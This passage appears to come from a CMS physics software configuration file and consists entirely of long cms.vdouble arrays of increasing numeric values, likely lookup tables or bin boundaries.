60.888176, 61.352263, 61.909167, 62.373254, 62.83734, 63.394244, 63.858331, 64.415235, 64.972139, 65.436226, 65.99313, 66.457217, 67.014121, 67.571025, 68.035112, 68.592016, 69.14892, 69.613006, 70.16991, 70.726814, 71.283718, 71.747805, 72.304709, 72.861613, 73.418517, 73.975421, 74.532325, 75.089229, 75.553316, 76.11022, 76.667124, 77.224028, 77.780932, 78.337836, 78.89474, 79.451645, 80.008549, 80.565453, 81.215174, 81.772078, 82.328982, 82.885886, 83.44279, 83.999694, 84.556598, 85.20632, 85.763224, 86.320128)+cms.vdouble(86.877032, 87.526753, 88.083657, 88.640561, 89.290283, 89.847187, 90.404091, 91.053812, 91.610716, 92.260438, 92.817342, 93.374246, 94.023967, 94.580871, 94.952141, 0, 0, 0, 0, 0.34441886, 0.43052357, 0.602733, 0.68883772, 0.77494243, 0.86104714, 1.0332566, 1.1193613, 1.2915707, 1.3776754, 1.4637801, 1.6359896, 1.7220943, 1.8943037, 1.9804084, 2.1526179, 2.3248273, 2.410932, 2.5831414, 2.7553509, 2.8414556, 3.013665, 3.1858744, 3.3580839, 3.5302933, 3.616398, 3.7886074, 3.9608169, 4.1330263, 4.3052357, 4.4774452, 4.6496546, 4.821864, 4.9940734, 5.1662829, 5.424597, 5.5968064, 5.7690159, 5.9412253, 6.1134347, 6.2856442, 6.5439583, 6.7161677, 6.8883772, 7.1466913, 7.3189007, 7.4911102, 7.7494243, 7.9216337, 8.1799479, 8.3521573, 8.6104714, 8.7826809, 9.040995, 9.2132044, 9.4715186, 9.7298327, 9.9020422, 10.160356, 10.41867, 10.59088, 10.849194, 11.107508, 11.365822, 11.624136, 11.796346, 12.05466, 12.312974, 12.571288, 12.829602, 13.087917, 13.346231, 13.604545, 13.862859, 14.121173, 14.379487, 14.637801, 14.896116, 15.240534, 15.498849, 15.757163, 16.015477, 16.273791, 16.61821, 16.876524, 17.134838, 17.479257, 17.737571, 17.995885, 18.340304, 18.598618, 18.943037, 19.201351, 19.54577, 19.804084, 20.148503, 20.406817, 20.751236, 21.00955, 21.353969, 21.698388, 21.956702, 22.301121, 22.64554, 22.903854, 23.248273, 23.592692, 23.937111, 24.281529, 24.539844, 24.884262, 25.228681, 25.5731, 25.917519, 26.261938, 26.606357, 26.950776, 27.295194, 27.639613, 27.984032, 28.328451, 28.67287, 29.017289, 29.361708, 29.706126, 30.050545, 30.394964, 30.825488, 31.169907, 31.514325, 31.858744, 32.289268, 32.633687, 32.978106, 33.322524, 33.753048, 34.097467, 34.52799, 34.872409, 35.216828, 35.647352, 35.991771, 36.422294, 36.766713, 37.197237, 37.541656, 37.972179, 38.316598, 38.747122, 39.177645, 39.522064, 39.952588, 40.383111, 40.72753, 41.158054, 41.588577, 42.019101, 42.36352, 42.794043, 43.224567, 43.65509, 44.085614, 44.430033, 44.860556, 45.29108, 45.721603, 46.152127, 46.582651, 47.013174, 47.443698, 47.874221, 48.304745, 48.735268, 49.165792, 49.68242, 50.112944, 50.543467, 50.973991, 51.404515, 51.835038, 52.351666, 52.78219, 53.212714, 53.729342, 54.159865, 54.590389, 55.107017, 55.537541, 55.968064, 56.484693, 56.915216, 57.431845, 57.862368, 58.292892, 58.80952, 59.240044, 59.756672, 60.2733, 60.703824, 61.220452, 61.650976, 62.167604, 62.684232, 63.114756, 63.631384, 64.148012, 64.578536, 65.095164, 65.611792, 66.128421, 66.558944, 67.075573, 67.592201, 68.108829, 68.625457, 69.142086, 69.658714, 70.089238, 70.605866, 71.122494, 71.639122, 72.155751, 72.672379, 73.189007, 73.705636, 74.222264, 74.738892, 75.341625, 75.858253, 76.374882, 76.89151, 77.408138, 77.924767, 78.441395, 79.044128, 79.560756)+cms.vdouble(80.077384, 80.594013, 81.196746, 81.713374, 82.230002, 82.832735, 83.349364, 83.865992, 84.468725, 84.985353, 85.588086, 86.104714, 86.621343, 87.224076, 87.740704, 88.085123, 0, 0, 0, 0, 0.31893747, 0.39867184, 0.55814058, 0.63787495, 0.71760932, 0.79734368, 0.95681242, 1.0365468, 1.1960155, 1.2757499, 1.3554843, 1.514953, 1.5946874, 1.7541561, 1.8338905, 1.9933592, 2.1528279, 2.2325623, 2.3920311, 2.5514998, 2.6312342, 2.7907029, 2.9501716, 3.1096404, 3.2691091, 3.3488435, 3.5083122, 3.6677809, 3.8272497, 3.9867184, 4.1461872, 4.3056559, 4.4651246, 4.6245934, 4.7840621, 5.0232652, 5.182734, 5.3422027, 5.5016714, 5.6611402, 5.8206089, 6.059812, 6.2192807, 6.3787495, 6.6179526, 6.7774213, 6.9368901, 7.1760932, 7.3355619, 7.574765, 7.7342337, 7.9734368, 8.1329056, 8.3721087, 8.5315774, 8.7707805, 9.0099836, 9.1694524, 9.4086555, 9.6478586, 9.8073273, 10.04653, 10.285734, 10.524937, 10.76414, 10.923608, 11.162812, 11.402015, 11.641218, 11.880421, 12.119624, 12.358827, 12.59803, 12.837233, 13.076436, 13.31564, 13.554843, 13.794046, 14.112983, 14.352186, 14.591389, 14.830593, 15.069796, 15.388733, 15.627936, 15.867139, 16.186077, 16.42528, 16.664483, 16.98342, 17.222624, 17.541561, 17.780764, 18.099702, 18.338905, 18.657842, 18.897045, 19.215983, 19.455186, 19.774123, 20.093061, 20.332264, 20.651201, 20.970139, 21.209342, 21.528279, 21.847217, 22.166154, 22.485092, 22.724295, 23.043232, 23.36217, 23.681107, 24.000045, 24.318982, 24.63792, 24.956857, 25.275795, 25.594732, 25.91367, 26.232607, 26.551545, 26.870482, 27.18942, 27.508357, 27.827295, 28.146232, 28.544904, 28.863841, 29.182779, 29.501716, 29.900388, 30.219326, 30.538263, 30.857201, 31.255872, 31.57481, 31.973482, 32.292419, 32.611357, 33.010029, 33.328966, 33.727638, 34.046575, 34.445247, 34.764185, 35.162856, 35.481794, 35.880466, 36.279138, 36.598075, 36.996747, 37.395419, 37.714356, 38.113028, 38.5117, 38.910372, 39.229309, 39.627981, 40.026653, 40.425325, 40.823997, 41.142934, 41.541606, 41.940278, 42.33895, 42.737621, 43.136293, 43.534965, 43.933637, 44.332309, 44.730981, 45.129653, 45.528324, 46.006731, 46.405402, 46.804074, 47.202746, 47.601418, 48.00009, 48.478496, 48.877168, 49.27584, 49.754246, 50.152918, 50.55159, 51.029996, 51.428668, 51.82734, 52.305746, 52.704418, 53.182824, 53.581496, 53.980167, 54.458574, 54.857246, 55.335652, 55.814058, 56.21273, 56.691136, 57.089808, 57.568214, 58.04662, 58.445292, 58.923698, 59.402105, 59.800776, 60.279183, 60.757589, 61.235995, 61.634667, 62.113073, 62.591479, 63.069885, 63.548292, 64.026698, 64.505104, 64.903776, 65.382182, 65.860588, 66.338995, 66.817401, 67.295807, 67.774213, 68.252619, 68.731026, 69.209432, 69.767572, 70.245979, 70.724385, 71.202791, 71.681197, 72.159603, 72.63801, 73.19615)+cms.vdouble(73.674556, 74.152963, 74.631369, 75.189509, 75.667916, 76.146322, 76.704462, 77.182869, 77.661275, 78.219415, 78.697822, 79.255962, 79.734368, 80.212775, 80.770915, 81.249321, 81.568259, 0, 0, 0.29488721, 0.44233082, 0.58977443, 0.73721804, 1.0321053, 1.1795489, 1.3269925, 1.4744361, 1.7693233, 1.9167669, 2.2116541, 2.3590977, 2.5065413, 2.8014285, 2.9488721, 3.2437594, 3.391203, 3.6860902, 3.9809774, 4.128421, 4.4233082, 4.7181954, 4.865639, 5.1605263, 5.4554135, 5.7503007, 6.0451879, 6.1926315, 6.4875187, 6.7824059, 7.0772932, 7.3721804, 7.6670676, 7.9619548, 8.256842, 8.5517292, 8.8466164, 9.2889473, 9.5838345, 9.8787217, 10.173609, 10.468496, 10.763383, 11.205714, 11.500601, 11.795489, 12.237819, 12.532707, 12.827594, 13.269925, 13.564812, 14.007143, 14.30203, 14.744361, 15.039248, 15.481579, 15.776466, 16.218797, 16.661128, 16.956015, 17.398346, 17.840677, 18.135564, 18.577895, 19.020225, 19.462556, 19.904887, 20.199774, 20.642105, 21.084436, 21.526767, 21.969098, 22.411428, 22.853759, 23.29609, 23.738421, 24.180752, 24.623082, 25.065413, 25.507744, 26.097519, 26.539849, 26.98218, 27.424511, 27.866842, 28.456616, 28.898947, 29.341278, 29.931052, 30.373383, 30.815714, 31.405488, 31.847819, 32.437594, 32.879924, 33.469699, 33.91203, 34.501804, 34.944135, 35.533909, 35.97624, 36.566015, 37.155789, 37.59812, 38.187894, 38.777669, 39.22, 39.809774, 40.399548, 40.989323, 41.579097, 42.021428, 42.611203, 43.200977, 43.790751, 44.380526, 44.9703, 45.560075, 46.149849, 46.739624, 47.329398, 47.919172, 48.508947, 49.098721, 49.688496, 50.27827, 50.868045, 51.457819, 52.047593, 52.784811, 53.374586, 53.96436, 54.554135, 55.291353, 55.881127, 56.470902, 57.060676, 57.797894, 58.387669, 59.124887, 59.714661, 60.304435, 61.041653, 61.631428, 62.368646, 62.95842, 63.695638, 64.285413, 65.022631, 65.612405, 66.349623, 67.086841, 67.676616, 68.413834, 69.151052, 69.740826, 70.478044, 71.215262, 71.95248, 72.542255, 73.279473, 74.016691, 74.753909, 75.491127, 76.080901, 76.818119, 77.555338, 78.292556, 79.029774, 79.766992, 80.50421, 81.241428, 81.978646, 82.715864, 83.453082, 84.1903, 85.074962, 85.81218, 86.549398, 87.286616, 88.023834, 88.761052, 89.645713, 90.382931, 91.120149, 92.004811, 92.742029, 93.479247, 94.363909, 95.101127, 95.838345, 96.723007, 97.460225, 98.344886, 99.082104, 99.819322, 100.70398, 101.4412, 102.32586, 103.21053, 103.94774, 104.8324, 105.56962, 106.45428, 107.33895, 108.07616, 108.96083, 109.84549, 110.58271, 111.46737, 112.35203, 113.23669, 113.97391, 114.85857, 115.74323, 116.62789, 117.51256, 118.39722, 119.28188, 120.0191, 120.90376, 121.78842, 122.67308, 123.55774, 124.4424, 125.32707, 126.21173, 127.09639, 127.98105, 129.01316, 129.89782, 130.78248, 131.66714, 132.5518, 133.43646, 134.32113)+cms.vdouble(135.35323, 136.23789, 137.12255, 138.00722, 139.03932, 139.92398, 140.80865, 141.84075, 142.72541, 143.61007, 144.64218, 145.52684, 146.55895, 147.44361, 148.32827, 149.36037, 150.24504, 150.83481, 0, 0, 0.27229209, 0.40843813, 0.54458417, 0.68073022, 0.9530223, 1.0891683, 1.2253144, 1.3614604, 1.6337525, 1.7698986, 2.0421906, 2.1783367, 2.3144827, 2.5867748, 2.7229209, 2.9952129, 3.131359, 3.4036511, 3.6759432, 3.8120892, 4.0843813, 4.3566734, 4.4928194, 4.7651115, 5.0374036, 5.3096957, 5.5819878, 5.7181338, 5.9904259, 6.262718, 6.5350101, 6.8073022, 7.0795942, 7.3518863, 7.6241784, 7.8964705, 8.1687626, 8.5772007, 8.8494928, 9.1217849, 9.394077, 9.6663691, 9.9386611, 10.347099, 10.619391, 10.891683, 11.300122, 11.572414, 11.844706, 12.253144, 12.525436, 12.933874, 13.206166, 13.614604, 13.886896, 14.295335, 14.567627, 14.976065, 15.384503, 15.656795, 16.065233, 16.473671, 16.745963, 17.154401, 17.56284, 17.971278, 18.379716, 18.652008, 19.060446, 19.468884, 19.877322, 20.28576, 20.694199, 21.102637, 21.511075, 21.919513, 22.327951, 22.736389, 23.144827, 23.553265, 24.09785, 24.506288, 24.914726, 25.323164, 25.731602, 26.276186, 26.684624, 27.093063, 27.637647, 28.046085, 28.454523, 28.999107, 29.407545, 29.952129, 30.360568, 30.905152, 31.31359, 31.858174, 32.266612, 32.811196, 33.219635, 33.764219, 34.308803, 34.717241, 35.261825, 35.806409, 36.214847, 36.759432, 37.304016, 37.8486, 38.393184, 38.801622, 39.346206, 39.890791, 40.435375, 40.979959, 41.524543, 42.069127, 42.613712, 43.158296, 43.70288, 44.247464, 44.792048, 45.336632, 45.881217, 46.425801, 46.970385, 47.514969, 48.059553, 48.740283, 49.284868, 49.829452, 50.374036, 51.054766, 51.59935, 52.143935, 52.688519, 53.369249, 53.913833, 54.594563, 55.139147, 55.683732, 56.364462, 56.909046, 57.589776, 58.13436, 58.815091, 59.359675, 60.040405, 60.584989, 61.265719, 61.94645, 62.491034, 63.171764, 63.852494, 64.397078, 65.077809, 65.758539, 66.439269, 66.983853, 67.664583, 68.345314, 69.026044, 69.706774, 70.251358, 70.932088, 71.612819, 72.293549, 72.974279, 73.655009, 74.33574, 75.01647, 75.6972, 76.37793, 77.05866, 77.739391, 78.556267, 79.236997, 79.917727, 80.598458, 81.279188, 81.959918, 82.776794, 83.457524, 84.138255, 84.955131, 85.635861, 86.316591, 87.133468, 87.814198, 88.494928, 89.311804, 89.992535, 90.809411, 91.490141, 92.170871, 92.987747, 93.668478, 94.485354, 95.30223, 95.98296, 96.799837, 97.480567, 98.297443, 99.114319, 99.79505, 100.61193, 101.4288, 102.10953, 102.92641, 103.74328, 104.56016, 105.24089, 106.05777, 106.87464, 107.69152, 108.5084, 109.32527, 110.14215, 110.82288, 111.63976, 112.45663, 113.27351, 114.09038, 114.90726, 115.72414, 116.54101, 117.35789, 118.17477, 119.12779, 119.94466, 120.76154, 121.57842, 122.39529, 123.21217)+cms.vdouble(124.02905, 124.98207, 125.79894, 126.61582, 127.4327, 128.38572, 129.20259, 130.01947, 130.97249, 131.78937, 132.60625, 133.55927, 134.37614, 135.32917, 136.14604, 136.96292, 137.91594, 138.73282, 139.2774, 0, 0, 0.25114638, 0.37671957, 0.50229277, 0.62786596, 0.87901234, 1.0045855, 1.1301587, 1.2557319, 1.5068783, 1.6324515, 1.8835979, 2.0091711, 2.1347443, 2.3858906, 2.5114638, 2.7626102, 2.8881834, 3.1393298, 3.3904762, 3.5160494, 3.7671957, 4.0183421, 4.1439153, 4.3950617, 4.6462081, 4.8973545, 5.1485009, 5.274074, 5.5252204, 5.7763668, 6.0275132, 6.2786596, 6.529806, 6.7809523, 7.0320987, 7.2832451, 7.5343915, 7.9111111, 8.1622574, 8.4134038, 8.6645502, 8.9156966, 9.166843, 9.5435626, 9.7947089, 10.045855, 10.422575, 10.673721, 10.924868, 11.301587, 11.552734, 11.929453, 12.1806, 12.557319, 12.808466, 13.185185, 13.436331, 13.813051, 14.189771, 14.440917, 14.817637, 15.194356, 15.445503, 15.822222, 16.198942, 16.575661, 16.952381, 17.203527, 17.580247, 17.956966, 18.333686, 18.710406, 19.087125, 19.463845, 19.840564, 20.217284, 20.594003, 20.970723, 21.347443, 21.724162, 22.226455, 22.603174, 22.979894, 23.356614, 23.733333, 24.235626, 24.612346, 24.989065, 25.491358, 25.868077, 26.244797, 26.74709, 27.123809, 27.626102, 28.002822, 28.505114, 28.881834, 29.384127, 29.760846, 30.263139, 30.639859, 31.142151, 31.644444, 32.021164, 32.523457, 33.025749, 33.402469, 33.904762, 34.407054, 34.909347, 35.41164, 35.78836, 36.290652, 36.792945, 37.295238, 37.797531, 38.299823, 38.802116, 39.304409, 39.806702, 40.308994, 40.811287, 41.31358, 41.815873, 42.318166, 42.820458, 43.322751, 43.825044, 44.327337, 44.955203, 45.457495, 45.959788, 46.462081, 47.089947, 47.59224, 48.094532, 48.596825, 49.224691, 49.726984, 50.35485, 50.857143, 51.359435, 51.987301, 52.489594, 53.11746, 53.619753, 54.247619, 54.749911, 55.377777, 55.88007, 56.507936, 57.135802, 57.638095, 58.265961, 58.893827, 59.39612, 60.023986, 60.651851, 61.279717, 61.78201, 62.409876, 63.037742, 63.665608, 64.293474, 64.795767, 65.423633, 66.051499, 66.679365, 67.307231, 67.935097, 68.562963, 69.190829, 69.818694, 70.44656, 71.074426, 71.702292, 72.455731, 73.083597, 73.711463, 74.339329, 74.967195, 75.595061, 76.3485, 76.976366, 77.604232, 78.357671, 78.985537, 79.613403, 80.366843, 80.994709, 81.622574, 82.376014, 83.00388, 83.757319, 84.385185, 85.013051, 85.76649, 86.394356, 87.147795, 87.901234, 88.5291, 89.282539, 89.910405, 90.663844, 91.417283, 92.045149, 92.798589, 93.552028, 94.179894, 94.933333, 95.686772, 96.440211, 97.068077, 97.821516, 98.574955, 99.328394, 100.08183, 100.83527, 101.58871, 102.21658, 102.97002, 103.72346, 104.4769, 105.23033, 105.98377, 106.73721, 107.49065, 108.24409, 108.99753, 109.87654, 110.62998, 111.38342, 112.13686, 112.8903)+cms.vdouble(113.64374, 114.39718, 115.27619, 116.02963, 116.78307, 117.53651, 118.41552, 119.16896, 119.9224, 120.80141, 121.55485, 122.30829, 123.1873, 123.94074, 124.81975, 125.57319, 126.32663, 127.20564, 127.95908, 128.46137, 0, 0, 0.23109399, 0.34664098, 0.46218798, 0.57773497, 0.80882896, 0.92437596, 1.039923, 1.1554699, 1.3865639, 1.5021109, 1.7332049, 1.8487519, 1.9642989, 2.1953929, 2.3109399, 2.5420339, 2.6575809, 2.8886749, 3.1197689, 3.2353159, 3.4664098, 3.6975038, 3.8130508, 4.0441448, 4.2752388, 4.5063328, 4.7374268, 4.8529738, 5.0840678, 5.3151618, 5.5462558, 5.7773497, 6.0084437, 6.2395377, 6.4706317, 6.7017257, 6.9328197, 7.2794607, 7.5105547, 7.7416487, 7.9727426, 8.2038366, 8.4349306, 8.7815716, 9.0126656, 9.2437596, 9.5904006, 9.8214946, 10.052589, 10.39923, 10.630324, 10.976965, 11.208059, 11.554699, 11.785793, 12.132434, 12.363528, 12.710169, 13.05681, 13.287904, 13.634545, 13.981186, 14.21228, 14.558921, 14.905562, 15.252203, 15.598844, 15.829938, 16.176579, 16.52322, 16.869861, 17.216502, 17.563143, 17.909784, 18.256425, 18.603066, 18.949707, 19.296348, 19.642989, 19.98963, 20.451818, 20.798459, 21.1451, 21.491741, 21.838382, 22.30057, 22.647211, 22.993852, 23.45604, 23.802681, 24.149322, 24.61151, 24.958151, 25.420339, 25.76698, 26.229168, 26.575809, 27.037997, 27.384638, 27.846826, 28.193467, 28.655655, 29.117843, 29.464484, 29.926672, 30.38886, 30.735501, 31.197689, 31.659877, 32.122065, 32.584253, 32.930894, 33.393082, 33.85527, 34.317457, 34.779645, 35.241833, 35.704021, 36.166209, 36.628397, 37.090585, 37.552773, 38.014961, 38.477149, 38.939337, 39.401525, 39.863713, 40.325901, 40.788089, 41.365824, 41.828012, 42.2902, 42.752388, 43.330123, 43.792311, 44.254499, 44.716687, 45.294422, 45.75661, 46.334345, 46.796533, 47.258721, 47.836456, 48.298644, 48.876379, 49.338567, 49.916302, 50.37849, 50.956225, 51.418413, 51.996148, 52.573883, 53.036071, 53.613806, 54.191541, 54.653729, 55.231464, 55.809199, 56.386934, 56.849121, 57.426856, 58.004591, 58.582326, 59.160061, 59.622249, 60.199984, 60.777719, 61.355454, 61.933189, 62.510924, 63.088659, 63.666394, 64.244129, 64.821864, 65.399599, 65.977334, 66.670616, 67.248351, 67.826086, 68.403821, 68.981556, 69.559291, 70.252573, 70.830308, 71.408043, 72.101325, 72.67906, 73.256795, 73.950077, 74.527812, 75.105547, 75.798829, 76.376564, 77.069846, 77.647581, 78.225316, 78.918598, 79.496332, 80.189614, 80.882896, 81.460631, 82.153913, 82.731648, 83.42493, 84.118212, 84.695947, 85.389229, 86.082511, 86.660246, 87.353528, 88.04681, 88.740092, 89.317827, 90.011109, 90.704391, 91.397673, 92.090955, 92.784237, 93.477519, 94.055254, 94.748536, 95.441818, 96.1351, 96.828382, 97.521664, 98.214946, 98.908228, 99.60151, 100.29479, 101.10362, 101.7969, 102.49018, 103.18347)+cms.vdouble(103.87675, 104.57003, 105.26331, 106.07214, 106.76542, 107.45871, 108.15199, 108.96082, 109.6541, 110.34738, 111.15621, 111.84949, 112.54277, 113.3516, 114.04488, 114.85371, 115.54699, 116.24028, 117.04911, 117.74239, 118.20458, 0, 0, 0.2111512, 0.3167268, 0.4223024, 0.527878, 0.7390292, 0.8446048, 0.9501804, 1.055756, 1.2669072, 1.3724828, 1.583634, 1.6892096, 1.7947852, 2.0059364, 2.111512, 2.3226632, 2.4282388, 2.63939, 2.8505412, 2.9561168, 3.167268, 3.3784192, 3.4839948, 3.695146, 3.9062972, 4.1174484, 4.3285996, 4.4341752, 4.6453264, 4.8564776, 5.0676288, 5.27878, 5.4899312, 5.7010824, 5.9122336, 6.1233848, 6.334536, 6.6512628, 6.862414, 7.0735652, 7.2847164, 7.4958676, 7.7070188, 8.0237456, 8.2348968, 8.446048, 8.7627748, 8.973926, 9.1850772, 9.501804, 9.7129552, 10.029682, 10.240833, 10.55756, 10.768711, 11.085438, 11.296589, 11.613316, 11.930043, 12.141194, 12.457921, 12.774648, 12.985799, 13.302526, 13.619252, 13.935979, 14.252706, 14.463857, 14.780584, 15.097311, 15.414038, 15.730764, 16.047491, 16.364218, 16.680945, 16.997672, 17.314398, 17.631125, 17.947852, 18.264579, 18.686881, 19.003608, 19.320335, 19.637062, 19.953788, 20.376091, 20.692818, 21.009544, 21.431847, 21.748574, 22.0653, 22.487603, 22.80433, 23.226632, 23.543359, 23.965661, 24.282388, 24.70469, 25.021417, 25.44372, 25.760446, 26.182749, 26.605051, 26.921778, 27.34408, 27.766383, 28.08311, 28.505412, 28.927714, 29.350017, 29.772319, 30.089046, 30.511348, 30.933651, 31.355953, 31.778256, 32.200558, 32.62286, 33.045163, 33.467465, 33.889768, 34.31207, 34.734372, 35.156675, 35.578977, 36.00128, 36.423582, 36.845884, 37.268187, 37.796065, 38.218367, 38.64067, 39.062972, 39.59085, 40.013152, 40.435455, 40.857757, 41.385635, 41.807938, 42.335816, 42.758118, 43.18042, 43.708298, 44.130601, 44.658479, 45.080781, 45.608659, 46.030962, 46.55884, 46.981142, 47.50902, 48.036898, 48.4592, 48.987078, 49.514956, 49.937259, 50.465137, 50.993015, 51.520893, 51.943195, 52.471073, 52.998951, 53.526829, 54.054707, 54.47701, 55.004888, 55.532766, 56.060644, 56.588522, 57.1164, 57.644278, 58.172156, 58.700034, 59.227912, 59.75579, 60.283668, 60.917121, 61.444999, 61.972877, 62.500755, 63.028633, 63.556511, 64.189965, 64.717843, 65.245721, 65.879174, 66.407052, 66.93493, 67.568384, 68.096262, 68.62414, 69.257594, 69.785472, 70.418925, 70.946803, 71.474681, 72.108135, 72.636013, 73.269466, 73.90292, 74.430798, 75.064252, 75.59213, 76.225583, 76.859037, 77.386915, 78.020368, 78.653822, 79.1817, 79.815154, 80.448607, 81.082061, 81.609939, 82.243392, 82.876846, 83.5103, 84.143753, 84.777207, 85.41066, 85.938538, 86.571992, 87.205446, 87.838899, 88.472353, 89.105806, 89.73926, 90.372714, 91.006167, 91.639621, 92.37865, 93.012104, 93.645557)+cms.vdouble(94.279011, 94.912464, 95.545918, 96.179372, 96.918401, 97.551854, 98.185308, 98.818762, 99.557791, 100.19124, 100.8247, 101.56373, 102.19718, 102.83063, 103.56966, 104.20312, 104.94215, 105.5756, 106.20905, 106.94808, 107.58154, 108.00384, 0, 0, 0.19065189, 0.28597784, 0.38130379, 0.47662974, 0.66728163, 0.76260758, 0.85793353, 0.95325947, 1.1439114, 1.2392373, 1.4298892, 1.5252152, 1.6205411, 1.811193, 1.9065189, 2.0971708, 2.1924968, 2.3831487, 2.5738006, 2.6691265, 2.8597784, 3.0504303, 3.1457563, 3.3364082, 3.5270601, 3.7177119, 3.9083638, 4.0036898, 4.1943417, 4.3849936, 4.5756455, 4.7662974, 4.9569493, 5.1476012, 5.3382531, 5.5289049, 5.7195568, 6.0055347, 6.1961866, 6.3868385, 6.5774904, 6.7681423, 6.9587942, 7.244772, 7.4354239, 7.6260758, 7.9120536, 8.1027055, 8.2933574, 8.5793353, 8.7699872, 9.055965, 9.2466169, 9.5325947, 9.7232466, 10.009224, 10.199876, 10.485854, 10.771832, 10.962484, 11.248462, 11.53444, 11.725092, 12.011069, 12.297047, 12.583025, 12.869003, 13.059655, 13.345633, 13.63161, 13.917588, 14.203566, 14.489544, 14.775522, 15.0615, 15.347478, 15.633455, 15.919433, 16.205411, 16.491389, 16.872693, 17.158671, 17.444648, 17.730626, 18.016604, 18.397908, 18.683886, 18.969864, 19.351167, 19.637145, 19.923123, 20.304427, 20.590405, 20.971708, 21.257686, 21.63899, 21.924968, 22.306272, 22.59225, 22.973553, 23.259531, 23.640835, 24.022139, 24.308117, 24.68942, 25.070724, 25.356702, 25.738006, 26.11931, 26.500613, 26.881917, 27.167895, 27.549199, 27.930503, 28.311806, 28.69311, 29.074414, 29.455718, 29.837022, 30.218325, 30.599629, 30.980933, 31.362237, 31.74354, 32.124844, 32.506148, 32.887452, 33.268756, 33.650059, 34.126689, 34.507993, 34.889297, 35.270601, 35.74723, 36.128534, 36.509838, 36.891142, 37.367771, 37.749075, 38.225705, 38.607009, 38.988312, 39.464942, 39.846246, 40.322876, 40.70418, 41.180809, 41.562113, 42.038743, 42.420047, 42.896676, 43.373306, 43.75461, 44.23124, 44.707869, 45.089173, 45.565803, 46.042433, 46.519062, 46.900366, 47.376996, 47.853626, 48.330255, 48.806885, 49.188189, 49.664819, 50.141448, 50.618078, 51.094708, 51.571338, 52.047967, 52.524597, 53.001227, 53.477856, 53.954486, 54.431116, 55.003072, 55.479701, 55.956331, 56.432961, 56.909591, 57.38622, 57.958176, 58.434806, 58.911435, 59.483391, 59.960021, 60.436651, 61.008606, 61.485236, 61.961866, 62.533821, 63.010451, 63.582407, 64.059037, 64.535666, 65.107622, 65.584252, 66.156207, 66.728163, 67.204793, 67.776749, 68.253378, 68.825334, 69.39729, 69.873919, 70.445875, 71.017831, 71.494461, 72.066416, 72.638372, 73.210328, 73.686957, 74.258913, 74.830869, 75.402824, 75.97478, 76.546736, 77.118691, 77.595321, 78.167277, 78.739233, 79.311188, 79.883144, 80.4551, 81.027055, 81.599011, 82.170967, 82.742922, 83.410204, 83.98216)+cms.vdouble(84.554115, 85.126071, 85.698027, 86.269982, 86.841938, 87.50922, 88.081175, 88.653131, 89.225087, 89.892368, 90.464324, 91.03628, 91.703561, 92.275517, 92.847473, 93.514754, 94.08671, 94.753992, 95.325947, 95.897903, 96.565185, 97.13714, 97.518444, 0, 0, 0.16959733, 0.254396, 0.33919467, 0.42399333, 0.59359067, 0.67838933, 0.763188, 0.84798667, 1.017584, 1.1023827, 1.27198, 1.3567787, 1.4415773, 1.6111747, 1.6959733, 1.8655707, 1.9503693, 2.1199667, 2.289564, 2.3743627, 2.54396, 2.7135573, 2.798356, 2.9679533, 3.1375507, 3.307148, 3.4767453, 3.561544, 3.7311413, 3.9007387, 4.070336, 4.2399333, 4.4095307, 4.579128, 4.7487253, 4.9183227, 5.08792, 5.342316, 5.5119133, 5.6815107, 5.851108, 6.0207053, 6.1903027, 6.4446987, 6.614296, 6.7838933, 7.0382893, 7.2078867, 7.377484, 7.63188, 7.8014773, 8.0558733, 8.2254707, 8.4798667, 8.649464, 8.90386, 9.0734573, 9.3278533, 9.5822493, 9.7518467, 10.006243, 10.260639, 10.430236, 10.684632, 10.939028, 11.193424, 11.44782, 11.617417, 11.871813, 12.126209, 12.380605, 12.635001, 12.889397, 13.143793, 13.398189, 13.652585, 13.906981, 14.161377, 14.415773, 14.670169, 15.009364, 15.26376, 15.518156, 15.772552, 16.026948, 16.366143, 16.620539, 16.874935, 17.214129, 17.468525, 17.722921, 18.062116, 18.316512, 18.655707, 18.910103, 19.249297, 19.503693, 19.842888, 20.097284, 20.436479, 20.690875, 21.030069, 21.369264, 21.62366, 21.962855, 22.302049, 22.556445, 22.89564, 23.234835, 23.574029, 23.913224, 24.16762, 24.506815, 24.846009, 25.185204, 25.524399, 25.863593, 26.202788, 26.541983, 26.881177, 27.220372, 27.559567, 27.898761, 28.237956, 28.577151, 28.916345, 29.25554, 29.594735, 29.933929, 30.357923, 30.697117, 31.036312, 31.375507, 31.7995, 32.138695, 32.477889, 32.817084, 33.241077, 33.580272, 34.004265, 34.34346, 34.682655, 35.106648, 35.445843, 35.869836, 36.209031, 36.633024, 36.972219, 37.396212, 37.735407, 38.1594, 38.583393, 38.922588, 39.346581, 39.770575, 40.109769, 40.533763, 40.957756, 41.381749, 41.720944, 42.144937, 42.568931, 42.992924, 43.416917, 43.756112, 44.180105, 44.604099, 45.028092, 45.452085, 45.876079, 46.300072, 46.724065, 47.148059, 47.572052, 47.996045, 48.420039, 48.928831, 49.352824, 49.776817, 50.200811, 50.624804, 51.048797, 51.557589, 51.981583, 52.405576, 52.914368, 53.338361, 53.762355, 54.271147, 54.69514, 55.119133, 55.627925, 56.051919, 56.560711, 56.984704, 57.408697, 57.917489, 58.341483, 58.850275, 59.359067, 59.78306, 60.291852, 60.715845, 61.224637, 61.733429, 62.157423, 62.666215, 63.175007, 63.599, 64.107792, 64.616584, 65.125376, 65.549369, 66.058161, 66.566953, 67.075745, 67.584537, 68.093329, 68.602121, 69.026115, 69.534907, 70.043699, 70.552491, 71.061283, 71.570075, 72.078867, 72.587659, 73.096451, 73.605243, 74.198833)+cms.vdouble(74.707625, 75.216417, 75.725209, 76.234001, 76.742793, 77.251585, 77.845176, 78.353968, 78.86276, 79.371552, 79.965143, 80.473935, 80.982727, 81.576317, 82.085109, 82.593901, 83.187492, 83.696284, 84.289875, 84.798667, 85.307459, 85.901049, 86.409841, 86.749036, 0, 0, 0.1473171, 0.22097565, 0.2946342, 0.36829274, 0.51560984, 0.58926839, 0.66292694, 0.73658549, 0.88390259, 0.95756113, 1.1048782, 1.1785368, 1.2521953, 1.3995124, 1.473171, 1.6204881, 1.6941466, 1.8414637, 1.9887808, 2.0624394, 2.2097565, 2.3570736, 2.4307321, 2.5780492, 2.7253663, 2.8726834, 3.0200005, 3.0936591, 3.2409761, 3.3882932, 3.5356103, 3.6829274, 3.8302445, 3.9775616, 4.1248787, 4.2721958, 4.4195129, 4.6404886, 4.7878057, 4.9351228, 5.0824399, 5.229757, 5.3770741, 5.5980497, 5.7453668, 5.8926839, 6.1136596, 6.2609766, 6.4082937, 6.6292694, 6.7765865, 6.9975621, 7.1448792, 7.3658549, 